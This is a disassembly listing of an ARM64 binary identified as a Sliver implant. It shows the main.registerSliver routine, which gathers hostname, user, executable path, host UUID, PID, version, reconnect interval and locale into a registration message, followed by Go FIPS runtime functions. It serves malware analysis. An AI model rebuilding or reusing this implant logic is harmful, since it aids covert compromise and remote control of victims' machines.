File sliver_83cb34f62800fed14e14547c39337aab8e0427fe2c6310a3fb40ce0ac36168c9.elf
Function:
    00510e20
    00510e20main.registerSliver: ; void main.registerSliver(void)
    00510e20ldr x16, [x28+16]
    00510e24sub x17, sp, 448
    00510e28subs xzr, x17, x16
    00510e2cb.ls 0x5116f4
    00510e30sub x20, sp, 576
    00510e34stp x29, x30, [x20-8]
    00510e38add sp, x20, 0
    00510e3csub x29, sp, 8
    00510e40str xzr, [sp+72]
    00510e44add x27, sp, 536
    00510e48stp xzr, xzr, [x27]
    00510e4cadd x27, sp, 520
    00510e50stp xzr, xzr, [x27]
    00510e54bl os.Hostname
    00510e58str x0, [sp+536]
    00510e5cstr x1, [sp+544]
    00510e60str x2, [sp+520]
    00510e64str x3, [sp+528]
    00510e68ldr x0, [sp+536]
    00510e6cldr x1, [sp+544]
    00510e70str x0, [sp+240]
    00510e74str x1, [sp+248]
    00510e78ldr x0, [sp+520]
    00510e7cldr x1, [sp+528]
    00510e80str x0, [sp+192]
    00510e84str x1, [sp+200]
    00510e88ldr x0, [sp+240]
    00510e8cldr x1, [sp+248]
    00510e90str x0, [sp+96]
    00510e94str x1, [sp+104]
    00510e98ldr x0, [sp+200]
    00510e9cldr x1, [sp+192]
    00510ea0str x1, [sp+128]
    00510ea4str x0, [sp+136]
    00510ea8cbnz x1, 0x510eb0
    00510eacb 0x510f68
    00510eb0
    00510eb0loc_510eb0:
    00510eb0stp xzr, xzr, [sp+504]
    00510eb4add x5, sp, 504
    00510eb8str x5, [sp+448]
    00510ebcldr x5, [sp+128]
    00510ec0ldr x6, [sp+136]
    00510ec4str x5, [sp+432]
    00510ec8str x6, [sp+440]
    00510eccstr x5, [sp+424]
    00510ed0ldr x5, [sp+424]
    00510ed4cbnz x5, 0x510edc
    00510ed8b 0x510eec
    00510edc
    00510edcloc_510edc:
    00510edcldr x5, [sp+424]
    00510ee0ldr x5, [x5+8]
    00510ee4str x5, [sp+424]
    00510ee8b 0x510ef0
    00510eec
    00510eecloc_510eec:
    00510eecb 0x510ef0
    00510ef0
    00510ef0loc_510ef0:
    00510ef0ldr x5, [sp+448]
    00510ef4ldrsb x27, [x5]
    00510ef8ldr x6, [sp+424]
    00510efcldr x7, [sp+440]
    00510f00str x6, [x5]
    00510f04adrp x27, 0x53b000
    00510f08ldr w6, [x27+3056]
    00510f0ccbz w6, 0x510f14
    00510f10b 0x510f18
    00510f14
    00510f14loc_510f14:
    00510f14b 0x510f2c
    00510f18
    00510f18loc_510f18:
    00510f18bl runtime.gcWriteBarrier2
    00510f1cstr x7, [x25]
    00510f20ldr x6, [x5+8]
    00510f24str x6, [x25+8]
    00510f28b 0x510f2c
    00510f2c
    00510f2cloc_510f2c:
    00510f2cstr x7, [x5+8]
    00510f30ldr x2, [sp+448]
    00510f34ldrsb x27, [x2]
    00510f38b 0x510f3c
    00510f3c
    00510f3cloc_510f3c:
    00510f3cstr x2, [sp+456]
    00510f40orr x4, xzr, 1
    00510f44str x4, [sp+464]
    00510f48str x4, [sp+472]
    00510f4cadrp x0, 0x1ad000
    00510f50add x0, x0, 2153
    00510f54orr x1, xzr, 31
    00510f58mov x3, x4
    00510f5cbl log.Printf
    00510f60stp xzr, xzr, [sp+96]
    00510f64b 0x510f6c
    00510f68
    00510f68loc_510f68:
    00510f68b 0x510f6c
    00510f6c
    00510f6cloc_510f6c:
    00510f6cstr xzr, [sp+496]
    00510f70add x27, sp, 520
    00510f74stp xzr, xzr, [x27]
    00510f78bl os/user.Current
    00510f7cstr x0, [sp+496]
    00510f80str x1, [sp+520]
    00510f84str x2, [sp+528]
    00510f88ldr x0, [sp+496]
    00510f8cstr x0, [sp+184]
    00510f90ldr x0, [sp+520]
    00510f94ldr x1, [sp+528]
    00510f98str x0, [sp+168]
    00510f9cstr x1, [sp+176]
    00510fa0ldr x0, [sp+184]
    00510fa4str x0, [sp+144]
    00510fa8ldr x0, [sp+176]
    00510facldr x1, [sp+168]
    00510fb0str x1, [sp+128]
    00510fb4str x0, [sp+136]
    00510fb8cbnz x1, 0x510fc0
    00510fbcb 0x511198
    00510fc0
    00510fc0loc_510fc0:
    00510fc0stp xzr, xzr, [sp+504]
    00510fc4add x5, sp, 504
    00510fc8str x5, [sp+392]
    00510fccldr x5, [sp+128]
    00510fd0ldr x6, [sp+136]
    00510fd4str x5, [sp+376]
    00510fd8str x6, [sp+384]
    00510fdcstr x5, [sp+368]
    00510fe0ldr x5, [sp+368]
    00510fe4cbnz x5, 0x510fec
    00510fe8b 0x510ffc
    00510fec
    00510fecloc_510fec:
    00510fecldr x5, [sp+368]
    00510ff0ldr x5, [x5+8]
    00510ff4str x5, [sp+368]
    00510ff8b 0x511000
    00510ffc
    00510ffcloc_510ffc:
    00510ffcb 0x511000
    00511000
    00511000loc_511000:
    00511000ldr x5, [sp+392]
    00511004ldrsb x27, [x5]
    00511008ldr x6, [sp+368]
    0051100cldr x7, [sp+384]
    00511010str x6, [x5]
    00511014adrp x27, 0x53a000
    00511018ldr w6, [x27+3056]
    0051101ccbz w6, 0x511024
    00511020b 0x511028
    00511024
    00511024loc_511024:
    00511024b 0x51103c
    00511028
    00511028loc_511028:
    00511028bl runtime.gcWriteBarrier2
    0051102cstr x7, [x25]
    00511030ldr x6, [x5+8]
    00511034str x6, [x25+8]
    00511038b 0x51103c
    0051103c
    0051103cloc_51103c:
    0051103cstr x7, [x5+8]
    00511040ldr x2, [sp+392]
    00511044ldrsb x27, [x2]
    00511048b 0x51104c
    0051104c
    0051104cloc_51104c:
    0051104cstr x2, [sp+400]
    00511050orr x4, xzr, 1
    00511054str x4, [sp+408]
    00511058str x4, [sp+416]
    0051105cadrp x0, 0x1af000
    00511060add x0, x0, 2036
    00511064movz x1, 35
    00511068mov x3, x4
    0051106cbl log.Printf
    00511070add x20, sp, 280
    00511074adr x27, 16
    00511078stp x29, x27, [sp-24]
    0051107csub x29, sp, 24
    00511080bl fn_87cfc
    00511084sub x29, sp, 8
    00511088add x20, sp, 280
    0051108cstr x20, [sp+360]
    00511090ldrsb x27, [x20]
    00511094adrp x27, 0x53a000
    00511098ldr w5, [x27+3056]
    0051109ccbz w5, 0x5110a4
    005110a0b 0x5110a8
    005110a4
    005110a4loc_5110a4:
    005110a4b 0x5110c0
    005110a8
    005110a8loc_5110a8:
    005110a8adrp x0, 0x15d000
    005110acadd x0, x0, 3328
    005110b0mov x1, x20
    005110b4bl runtime.wbZero
    005110b8add x20, sp, 280
    005110bcb 0x5110c0
    005110c0
    005110c0loc_5110c0:
    005110c0adr x27, 16
    005110c4stp x29, x27, [sp-24]
    005110c8sub x29, sp, 24
    005110ccbl fn_87cfc
    005110d0sub x29, sp, 8
    005110d4ldr x0, [sp+360]
    005110d8ldrsb x27, [x0]
    005110dcmovz x1, 5
    005110e0str x1, [x0+40]
    005110e4adrp x27, 0x53a000
    005110e8ldr w2, [x27+3056]
    005110eccbz w2, 0x5110f4
    005110f0b 0x5110f8
    005110f4
    005110f4loc_5110f4:
    005110f4b 0x511108
    005110f8
    005110f8loc_5110f8:
    005110f8ldr x2, [x0+32]
    005110fcbl runtime.gcWriteBarrier1
    00511100str x2, [x25]
    00511104b 0x511108
    00511108
    00511108loc_511108:
    00511108adrp x2, 0x19f000
    0051110cadd x2, x2, 1482
    00511110str x2, [x0+32]
    00511114ldr x0, [sp+360]
    00511118ldrsb x27, [x0]
    0051111cstr x1, [x0+8]
    00511120adrp x27, 0x53a000
    00511124ldr w2, [x27+3056]
    00511128cbz w2, 0x511130
    0051112cb 0x511134
    00511130
    00511130loc_511130:
    00511130b 0x511144
    00511134
    00511134loc_511134:
    00511134ldr x2, [x0]
    00511138bl runtime.gcWriteBarrier1
    0051113cstr x2, [x25]
    00511140b 0x511144
    00511144
    00511144loc_511144:
    00511144adrp x2, 0x19f000
    00511148add x2, x2, 1482
    0051114cstr x2, [x0]
    00511150ldr x0, [sp+360]
    00511154ldrsb x27, [x0]
    00511158str x1, [x0+24]
    0051115cadrp x27, 0x53a000
    00511160ldr w2, [x27+3056]
    00511164cbz w2, 0x51116c
    00511168b 0x511170
    0051116c
    0051116cloc_51116c:
    0051116cb 0x511180
    00511170
    00511170loc_511170:
    00511170ldr x2, [x0+16]
    00511174bl runtime.gcWriteBarrier1
    00511178str x2, [x25]
    0051117cb 0x511180
    00511180
    00511180loc_511180:
    00511180adrp x2, 0x19f000
    00511184add x2, x2, 1482
    00511188str x2, [x0+16]
    0051118cldr x0, [sp+360]
    00511190str x0, [sp+144]
    00511194b 0x51119c
    00511198
    00511198loc_511198:
    00511198b 0x51119c
    0051119c
    0051119cloc_51119c:
    0051119cadd x27, sp, 536
    005111a0stp xzr, xzr, [x27]
    005111a4add x27, sp, 520
    005111a8stp xzr, xzr, [x27]
    005111acbl os.Executable
    005111b0str x0, [sp+536]
    005111b4str x1, [sp+544]
    005111b8str x2, [sp+520]
    005111bcstr x3, [sp+528]
    005111c0ldr x0, [sp+536]
    005111c4ldr x1, [sp+544]
    005111c8str x0, [sp+152]
    005111ccstr x1, [sp+160]
    005111d0ldr x0, [sp+520]
    005111d4ldr x1, [sp+528]
    005111d8str x0, [sp+552]
    005111dcstr x1, [sp+560]
    005111e0ldr x0, [sp+152]
    005111e4ldr x1, [sp+160]
    005111e8str x0, [sp+112]
    005111ecstr x1, [sp+120]
    005111f0ldr x0, [sp+560]
    005111f4ldr x1, [sp+552]
    005111f8str x1, [sp+128]
    005111fcstr x0, [sp+136]
    00511200cbnz x1, 0x511208
    00511204b 0x511268
    00511208
    00511208loc_511208:
    00511208adrp x27, 0x511000
    0051120cldr x2, [x27+2728]
    00511210str x2, [sp+64]
    00511214cbnz x2, 0x51121c
    00511218b 0x51124c
    0051121c
    0051121cloc_51121c:
    0051121cadrp x27, 0x511000
    00511220ldr x2, [x27+2720]
    00511224adrp x27, 0x511000
    00511228ldr x1, [x27+2728]
    0051122csubs xzr, x1, 0
    00511230b.hi 0x511238
    00511234b 0x5116e8
    00511238
    00511238loc_511238:
    00511238ldr x0, [x2]
    0051123cldr x1, [x2+8]
    00511240str x0, [sp+112]
    00511244str x1, [sp+120]
    00511248b 0x511264
    0051124c
    0051124cloc_51124c:
    0051124cadrp x0, 0x19f000
    00511250add x0, x0, 1482
    00511254str x0, [sp+112]
    00511258movz x0, 5
    0051125cstr x0, [sp+120]
    00511260b 0x511264
    00511264
    00511264loc_511264:
    00511264b 0x51126c
    00511268
    00511268loc_511268:
    00511268b 0x51126c
    0051126c
    0051126cloc_51126c:
    0051126cbl github.com/bishopfox/sliver/implant/sliver/hostuuid.GetUUID
    00511270str x0, [sp+80]
    00511274str x1, [sp+88]
    00511278stp xzr, xzr, [sp+504]
    0051127cadd x0, sp, 504
    00511280str x0, [sp+232]
    00511284ldr x0, [sp+80]
    00511288ldr x1, [sp+88]
    0051128cbl runtime.convTstring
    00511290str x0, [sp+224]
    00511294ldr x1, [sp+232]
    00511298ldrsb x27, [x1]
    0051129cadrp x2, 0xe4000
    005112a0add x2, x2, 2944
    005112a4str x2, [x1]
    005112a8adrp x27, 0x53a000
    005112acldr w2, [x27+3056]
    005112b0cbz w2, 0x5112b8
    005112b4b 0x5112bc
    005112b8
    005112b8loc_5112b8:
    005112b8b 0x5112d0
    005112bc
    005112bcloc_5112bc:
    005112bcbl runtime.gcWriteBarrier2
    005112c0str x0, [x25]
    005112c4ldr x5, [x1+8]
    005112c8str x5, [x25+8]
    005112ccb 0x5112d0
    005112d0
    005112d0loc_5112d0:
    005112d0str x0, [x1+8]
    005112d4ldr x2, [sp+232]
    005112d8ldrsb x27, [x2]
    005112dcb 0x5112e0
    005112e0
    005112e0loc_5112e0:
    005112e0str x2, [sp+256]
    005112e4orr x4, xzr, 1
    005112e8str x4, [sp+264]
    005112ecstr x4, [sp+272]
    005112f0adrp x0, 0x1a2000
    005112f4add x0, x0, 1212
    005112f8movz x1, 13
    005112fcmov x3, x4
    00511300bl log.Printf
    00511304bl github.com/bishopfox/sliver/implant/sliver/version.GetVersion
    00511308str x0, [sp+536]
    0051130cstr x1, [sp+544]
    00511310bl os.Getpid
    00511314str x0, [sp+64]
    00511318bl github.com/bishopfox/sliver/implant/sliver/transports.GetReconnectInterval
    0051131cstr x0, [sp+56]
    00511320bl github.com/bishopfox/sliver/implant/sliver/locale.GetLocale
    00511324str x0, [sp+480]
    00511328str x1, [sp+488]
    0051132cadrp x0, 0x192000
    00511330add x0, x0, 1248
    00511334bl runtime.newobject
    00511338str x0, [sp+216]
    0051133cadrp x27, 0x53a000
    00511340ldr w5, [x27+3056]
    00511344cbz w5, 0x51134c
    00511348b 0x511350
    0051134c
    0051134cloc_51134c:
    0051134cb 0x51136c
    00511350
    00511350loc_511350:
    00511350str x0, [sp+208]
    00511354mov x1, x0
    00511358adrp x0, 0x192000
    0051135cadd x0, x0, 1248
    00511360bl runtime.wbZero
    00511364ldr x0, [sp+208]
    00511368b 0x51136c
    0051136c
    0051136cloc_51136c:
    0051136cmov x20, x0
    00511370adr x27, 16
    00511374stp x29, x27, [sp-24]
    00511378sub x29, sp, 24
    0051137cbl fn_87cc8
    00511380sub x29, sp, 8
    00511384ldr x1, [sp+216]
    00511388ldrsb x27, [x1]
    0051138cadrp x27, 0x4fc000
    00511390ldr x2, [x27+2528]
    00511394adrp x27, 0x4fc000
    00511398ldr x3, [x27+2536]
    0051139cstr x3, [x1+16]
    005113a0adrp x27, 0x53a000
    005113a4ldr w3, [x27+3056]
    005113a8cbz w3, 0x5113b0
    005113acb 0x5113b4
    005113b0
    005113b0loc_5113b0:
    005113b0b 0x5113c8
    005113b4
    005113b4loc_5113b4:
    005113b4bl runtime.gcWriteBarrier2
    005113b8str x2, [x25]
    005113bcldr x3, [x1+8]
    005113c0str x3, [x25+8]
    005113c4b 0x5113c8
    005113c8
    005113c8loc_5113c8:
    005113c8str x2, [x1+8]
    005113ccldr x1, [sp+216]
    005113d0ldrsb x27, [x1]
    005113d4ldr x2, [sp+96]
    005113d8ldr x3, [sp+104]
    005113dcstr x3, [x1+32]
    005113e0adrp x27, 0x53a000
    005113e4ldr w3, [x27+3056]
    005113e8cbz w3, 0x5113f0
    005113ecb 0x5113f4
    005113f0
    005113f0loc_5113f0:
    005113f0b 0x511408
    005113f4
    005113f4loc_5113f4:
    005113f4bl runtime.gcWriteBarrier2
    005113f8str x2, [x25]
    005113fcldr x3, [x1+24]
    00511400str x3, [x25+8]
    00511404b 0x511408
    00511408
    00511408loc_511408:
    00511408str x2, [x1+24]
    0051140cldr x1, [sp+216]
    00511410ldrsb x27, [x1]
    00511414ldr x2, [sp+80]
    00511418ldr x3, [sp+88]
    0051141cstr x3, [x1+48]
    00511420adrp x27, 0x53a000
    00511424ldr w3, [x27+3056]
    00511428cbz w3, 0x511430
    0051142cb 0x511434
    00511430
    00511430loc_511430:
    00511430b 0x511448
    00511434
    00511434loc_511434:
    00511434bl runtime.gcWriteBarrier2
    00511438str x2, [x25]
    0051143cldr x3, [x1+40]
    00511440str x3, [x25+8]
    00511444b 0x511448
    00511448
    00511448loc_511448:
    00511448str x2, [x1+40]
    0051144cldr x1, [sp+216]
    00511450ldrsb x27, [x1]
    00511454ldr x2, [sp+144]
    00511458ldrsb x27, [x2]
    0051145cldr x3, [x2+32]
    00511460ldr x2, [x2+40]
    00511464str x2, [x1+64]
    00511468adrp x27, 0x53a000
    0051146cldr w2, [x27+3056]
    00511470cbz w2, 0x511478
    00511474b 0x51147c
    00511478
    00511478loc_511478:
    00511478b 0x511490
    0051147c
    0051147cloc_51147c:
    0051147cbl runtime.gcWriteBarrier2
    00511480str x3, [x25]
    00511484ldr x2, [x1+56]
    00511488str x2, [x25+8]
    0051148cb 0x511490
    00511490
    00511490loc_511490:
    00511490str x3, [x1+56]
    00511494ldr x1, [sp+216]
    00511498ldrsb x27, [x1]
    0051149cldr x2, [sp+144]
    005114a0ldrsb x27, [x2]
    005114a4ldr x3, [x2]
    005114a8ldr x2, [x2+8]
    005114acstr x2, [x1+80]
    005114b0adrp x27, 0x53a000
    005114b4ldr w2, [x27+3056]
    005114b8cbz w2, 0x5114c0
    005114bcb 0x5114c4
    005114c0
    005114c0loc_5114c0:
    005114c0b 0x5114d8
    005114c4
    005114c4loc_5114c4:
    005114c4bl runtime.gcWriteBarrier2
    005114c8str x3, [x25]
    005114ccldr x2, [x1+72]
    005114d0str x2, [x25+8]
    005114d4b 0x5114d8
    005114d8
    005114d8loc_5114d8:
    005114d8str x3, [x1+72]
    005114dcldr x1, [sp+216]
    005114e0ldrsb x27, [x1]
    005114e4ldr x2, [sp+144]
    005114e8ldrsb x27, [x2]
    005114ecldr x3, [x2+16]
    005114f0ldr x2, [x2+24]
    005114f4str x2, [x1+96]
    005114f8adrp x27, 0x53a000
    005114fcldr w2, [x27+3056]
    00511500cbz w2, 0x511508
    00511504b 0x51150c
    00511508
    00511508loc_511508:
    00511508b 0x511520
    0051150c
    0051150cloc_51150c:
    0051150cbl runtime.gcWriteBarrier2
    00511510str x3, [x25]
    00511514ldr x2, [x1+88]
    00511518str x2, [x25+8]
    0051151cb 0x511520
    00511520
    00511520loc_511520:
    00511520str x3, [x1+88]
    00511524ldr x1, [sp+216]
    00511528ldrsb x27, [x1]
    0051152cmovz x2, 5
    00511530str x2, [x1+112]
    00511534adrp x27, 0x53a000
    00511538ldr w3, [x27+3056]
    0051153ccbz w3, 0x511544
    00511540b 0x511548
    00511544
    00511544loc_511544:
    00511544b 0x511558
    00511548
    00511548loc_511548:
    00511548ldr x3, [x1+104]
    0051154cbl runtime.gcWriteBarrier1
    00511550str x3, [x25]
    00511554b 0x511558
    00511558
    00511558loc_511558:
    00511558adrp x3, 0x19f000
    0051155cadd x3, x3, 1487
    00511560str x3, [x1+104]
    00511564ldr x1, [sp+216]
    00511568ldrsb x27, [x1]
    0051156cldr x3, [sp+536]
    00511570ldr x4, [sp+544]
    00511574str x4, [x1+184]
    00511578adrp x27, 0x53a000
    0051157cldr w4, [x27+3056]
    00511580cbz w4, 0x511588
    00511584b 0x51158c
    00511588
    00511588loc_511588:
    00511588b 0x5115a0
    0051158c
    0051158cloc_51158c:
    0051158cbl runtime.gcWriteBarrier2
    00511590str x3, [x25]
    00511594ldr x4, [x1+176]
    00511598str x4, [x25+8]
    0051159cb 0x5115a0
    005115a0
    005115a0loc_5115a0:
    005115a0str x3, [x1+176]
    005115a4ldr x1, [sp+216]
    005115a8ldrsb x27, [x1]
    005115acstr x2, [x1+128]
    005115b0adrp x27, 0x53a000
    005115b4ldr w2, [x27+3056]
    005115b8cbz w2, 0x5115c0
    005115bcb 0x5115c4
    005115c0
    005115c0loc_5115c0:
    005115c0b 0x5115d4
    005115c4
    005115c4loc_5115c4:
    005115c4ldr x2, [x1+120]
    005115c8bl runtime.gcWriteBarrier1
    005115ccstr x2, [x25]
    005115d0b 0x5115d4
    005115d4
    005115d4loc_5115d4:
    005115d4adrp x2, 0x19f000
    005115d8add x2, x2, 1492
    005115dcstr x2, [x1+120]
    005115e0ldr x1, [sp+216]
    005115e4ldrsb x27, [x1]
    005115e8ldr x2, [sp+64]
    005115ecstr w2, [x1+136]
    005115f0ldr x1, [sp+216]
    005115f4ldrsb x27, [x1]
    005115f8ldr x2, [sp+112]
    005115fcldr x3, [sp+120]
    00511600str x3, [x1+152]
    00511604adrp x27, 0x53a000
    00511608ldr w3, [x27+3056]
    0051160ccbz w3, 0x511614
    00511610b 0x511618
    00511614
    00511614loc_511614:
    00511614b 0x51162c
    00511618
    00511618loc_511618:
    00511618bl runtime.gcWriteBarrier2
    0051161cstr x2, [x25]
    00511620ldr x3, [x1+144]
    00511624str x3, [x25+8]
    00511628b 0x51162c
    0051162c
    0051162cloc_51162c:
    0051162cstr x2, [x1+144]
    00511630ldr x1, [sp+216]
    00511634ldrsb x27, [x1]
    00511638ldr x2, [sp+56]
    0051163cstr x2, [x1+192]
    00511640ldr x1, [sp+216]
    00511644ldrsb x27, [x1]
    00511648movz x2, 36
    0051164cstr x2, [x1+224]
    00511650adrp x27, 0x53a000
    00511654ldr w2, [x27+3056]
    00511658cbz w2, 0x511660
    0051165cb 0x511664
    00511660
    00511660loc_511660:
    00511660b 0x511674
    00511664
    00511664loc_511664:
    00511664ldr x2, [x1+216]
    00511668bl runtime.gcWriteBarrier1
    0051166cstr x2, [x25]
    00511670b 0x511674
    00511674
    00511674loc_511674:
    00511674adrp x2, 0x1b0000
    00511678add x2, x2, 985
    0051167cstr x2, [x1+216]
    00511680ldr x1, [sp+216]
    00511684ldrsb x27, [x1]
    00511688adrp x27, 0x53a000
    0051168cldr x2, [x27+2144]
    00511690str x2, [x1+232]
    00511694ldr x1, [sp+216]
    00511698ldrsb x27, [x1]
    0051169cldr x2, [sp+480]
    005116a0ldr x3, [sp+488]
    005116a4str x3, [x1+248]
    005116a8adrp x27, 0x53a000
    005116acldr w3, [x27+3056]
    005116b0cbz w3, 0x5116b8
    005116b4b 0x5116bc
    005116b8
    005116b8loc_5116b8:
    005116b8b 0x5116d0
    005116bc
    005116bcloc_5116bc:
    005116bcbl runtime.gcWriteBarrier2
    005116c0str x2, [x25]
    005116c4ldr x3, [x1+240]
    005116c8str x3, [x25+8]
    005116ccb 0x5116d0
    005116d0
    005116d0loc_5116d0:
    005116d0str x2, [x1+240]
    005116d4ldr x0, [sp+216]
    005116d8str x0, [sp+72]
    005116dcldp x29, x30, [sp-8]
    005116e0add sp, sp, 576
    005116e4ret x30
    005116e8
    005116e8loc_5116e8:
    005116e8mov x0, xzr
    005116ecbl runtime.panicIndex
    005116f0hint
    005116f4
    005116f4loc_5116f4:
    005116f4mov x3, x30
    005116f8bl runtime.morestack_noctxt.abi0
    005116fcb 0x510e20
    00510e20
    00511700
    00511700go:textfipsstart:
    00511700db 0x00
    00511700
    00511701
    00511701 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ...............
    00511710
    00511710crypto/internal/fips140.fatal: ; void crypto/internal/fips140.fatal(struct string s)
    00511710ldr x16, [x28+16]
    00511714subs xzr, sp, x16
    00511718b.ls 0x51173c
    0051171cstr x30, [sp-32]!
    00511720stur x29, [sp-8]
    00511724sub x29, sp, 8
    00511728str x0, [sp+40]
    0051172cbl runtime.fatal
    00511730ldur x29, [sp-8]
    00511734ldr x30, [sp], 32
    00511738ret x30
    0051173c
    0051173cloc_51173c:
    0051173cstp x0, x1, [sp+8]
    00511740mov x3, x30
    00511744bl runtime.morestack_noctxt.abi0
    00511748ldp x0, x1, [sp+8]
    0051174cb 0x511710
    00511710
    00511750
    00511750crypto/internal/fips140.getIndicator: ; void crypto/internal/fips140.getIndicator(void)
    00511750ldrb w0, [x28+224]
    00511754ret x30
    00511758udf 0
    0051175cudf 0
    00511750
    00511760
    00511760crypto/internal/fips140.setIndicator: ; void crypto/internal/fips140.setIndicator(uint8 indicator)
    00511760strb w0, [x28+224]
    00511764ret x30
    00511768udf 0
    0051176cudf 0
    00511760
    00511770
    00511770crypto/internal/fips140.init: ; void crypto/internal/fips140.init(void)
    00511770ldr x16, [x28+16]
    00511774subs xzr, sp, x16
    00511778b.ls 0x5117e0
    0051177cstr x30, [sp-32]!
    00511780stur x29, [sp-8]
    00511784sub x29, sp, 8
    00511788adrp x0, 0x1a2000
    0051178cadd x0, x0, 2564
    00511790movz x1, 13
    00511794bl crypto/internal/fips140deps/godebug.Value
    00511798adrp x27, 0x510000
    0051179cstr x1, [x27+3752]
    005117a0adrp x27, 0x53a000
    005117a4ldr w2, [x27+3056]
    005117a8cbz w2, 0x5117b0
    005117acb 0x5117b4
    005117b0
    005117b0loc_5117b0:
    005117b0b 0x5117cc
    005117b4
    005117b4loc_5117b4:
    005117b4bl runtime.gcWriteBarrier2
    005117b8str x0, [x25]
    005117bcadrp x27, 0x510000
    005117c0ldr x1, [x27+3744]
    005117c4str x1, [x25+8]
    005117c8b 0x5117cc
    005117cc
    005117ccloc_5117cc:
    005117ccadrp x27, 0x510000
    005117d0str x0, [x27+3744]
    005117d4ldur x29, [sp-8]
    005117d8ldr x30, [sp], 32
    005117dcret x30
    005117e0
    005117e0loc_5117e0:
    005117e0mov x3, x30
    005117e4bl runtime.morestack_noctxt.abi0
    005117e8b 0x511770
    005117ecudf 0
    00511770
    005117f0
    005117f0crypto/internal/fips140.CAST: ; void crypto/internal/fips140.CAST(struct string name, func() error f)
    005117f0ldr x16, [x28+16]
    005117f4sub x17, sp, 48
    005117f8subs xzr, x17, x16
    005117fcb.ls 0x5119d8
    00511800str x30, [sp-176]!
    00511804stur x29, [sp-8]
    00511808sub x29, sp, 8
    0051180cstr x0, [sp+184]
    00511810str x1, [sp+192]
    00511814str x2, [sp+200]
    00511818adrp x2, 0x19f000
    0051181cadd x2, x2, 1294
    00511820orr x3, xzr, 4
    00511824bl strings.ContainsAny
    00511828strb w0, [sp+87]
    0051182ctbnz w0, 0, 0x511998
    00511830b 0x511834
    00511834
    00511834loc_511834:
    00511834adrp x27, 0x53a000
    00511838ldrb w0, [x27+1548]
    0051183ctbnz w0, 0, 0x511844
    00511840b 0x511908
    00511844
    00511844loc_511844:
    00511844ldr x26, [sp+200]
    00511848ldr x0, [x26]
    0051184cblr x0
    00511850str x0, [sp+88]
    00511854str x1, [sp+96]
    00511858ldr x0, [sp+192]
    0051185cadrp x27, 0x510000
    00511860ldr x1, [x27+3752]
    00511864subs xzr, x1, x0
    00511868b.eq 0x511870
    0051186cb 0x5118ac
    00511870
    00511870loc_511870:
    00511870ldr x0, [sp+184]
    00511874adrp x27, 0x510000
    00511878ldr x1, [x27+3744]
    0051187cldr x2, [sp+192]
    00511880bl runtime.memequal
    00511884tbnz w0, 0, 0x51188c
    00511888b 0x5118a8
    0051188c
    0051188cloc_51188c:
    0051188cadrp x0, 0x1a7000
    00511890add x0, x0, 0
    00511894movz x1, 22
    00511898bl errors.New
    0051189cstr x0, [sp+88]
    005118a0str x1, [sp+96]
    005118a4b 0x5118b0
    005118a8
    005118a8loc_5118a8:
    005118a8b 0x5118b0
    005118ac
    005118acloc_5118ac:
    005118acb 0x5118b0
    005118b0
    005118b0loc_5118b0:
    005118b0ldr x1, [sp+88]
    005118b4cbnz x1, 0x511914
    005118b8b 0x5118bc
    005118bc
    005118bcloc_5118bc:
    005118bcadrp x27, 0x53a000
    005118c0ldrb w0, [x27+1549]
    005118c4tbnz w0, 0, 0x5118cc
    005118c8b 0x5118f8
    005118cc
    005118ccloc_5118cc:
    005118ccbl runtime.printlock
    005118d0adrp x0, 0x1ab000
    005118d4add x0, x0, 2802
    005118d8movz x1, 29
    005118dcbl runtime.printstring
    005118e0ldr x0, [sp+184]
    005118e4ldr x1, [sp+192]
    005118e8bl runtime.printstring
    005118ecbl runtime.printnl
    005118f0bl runtime.printunlock
    005118f4b 0x5118fc
    005118f8
    005118f8loc_5118f8:
    005118f8b 0x5118fc
    005118fc
    005118fcloc_5118fc:
    005118fcldur x29, [sp-8]
    00511900ldr x30, [sp], 176
    00511904ret x30
    00511908
    00511908loc_511908:
    00511908ldur x29, [sp-8]
    0051190cldr x30, [sp], 176
    00511910ret x30
    00511914
    00511914loc_511914:
    00511914ldr x1, [sp+88]
    00511918ldrsb x27, [x1]
    0051191cldr x1, [x1+24]
    00511920ldr x0, [sp+96]
    00511924blr x1
    00511928str x0, [sp+152]
    0051192cstr x1, [sp+160]
    00511930ldr x4, [sp+192]
    00511934ldr x3, [sp+184]
    00511938movz x2, 29
    0051193cadrp x5, 0x19e000
    00511940add x5, x5, 4041
    00511944orr x6, xzr, 2
    00511948mov x7, x0
    0051194cmov x8, x1
    00511950mov x0, xzr
    00511954adrp x1, 0x1ab000
    00511958add x1, x1, 2773
    0051195cbl runtime.concatstring4
    00511960str x0, [sp+112]
    00511964str x1, [sp+120]
    00511968bl crypto/internal/fips140.fatal
    0051196cadrp x0, 0x1a1000
    00511970add x0, x0, 1757
    00511974str x0, [sp+152]
    00511978movz x1, 11
    0051197cstr x1, [sp+160]
    00511980bl runtime.convTstring
    00511984str x0, [sp+104]
    00511988mov x1, x0
    0051198cadrp x0, 0xe4000
    00511990add x0, x0, 2944
    00511994bl runtime.gopanic
    00511998
    00511998loc_511998:
    00511998ldr x3, [sp+184]
    0051199cldr x4, [sp+192]
    005119a0mov x0, xzr
    005119a4adrp x1, 0x1ac000
    005119a8add x1, x1, 1492
    005119acorr x2, xzr, 30
    005119b0bl runtime.concatstring2
    005119b4str x0, [sp+136]
    005119b8str x1, [sp+144]
    005119bcbl runtime.convTstring
    005119c0str x0, [sp+128]
    005119c4mov x1, x0
    005119c8adrp x0, 0xe4000
    005119ccadd x0, x0, 2944
    005119d0bl runtime.gopanic
    005119d4hint
    005119d8
    005119d8loc_5119d8:
    005119d8stp x0, x1, [sp+8]
    005119dcstr x2, [sp+24]
    005119e0mov x3, x30
    005119e4bl runtime.morestack_noctxt.abi0
    005119e8ldp x0, x1, [sp+8]
    005119ecldr x2, [sp+24]
    005119f0b 0x5117f0
    005119f4udf 0
    005119f8udf 0
    005119fcudf 0
    005117f0
    00511a00
    00511a00crypto/internal/fips140.PCT: ; void crypto/internal/fips140.PCT(struct string name, func() error f)
    00511a00ldr x16, [x28+16]
    00511a04subs xzr, sp, x16
    00511a08b.ls 0x511b3c
    00511a0cstr x30, [sp-128]!
    00511a10stur x29, [sp-8]
    00511a14sub x29, sp, 8
    00511a18str x0, [sp+136]
    00511a1cstr x1, [sp+144]
    00511a20str x2, [sp+152]
    00511a24stp xzr, xzr, [sp+64]
    00511a28ldr x0, [sp+136]
    00511a2cldr x1, [sp+144]
    00511a30adrp x2, 0x19f000
    00511a34add x2, x2, 1294
    00511a38orr x3, xzr, 4
    00511a3cbl strings.ContainsAny
    00511a40strb w0, [sp+63]
    00511a44tbnz w0, 0, 0x511afc
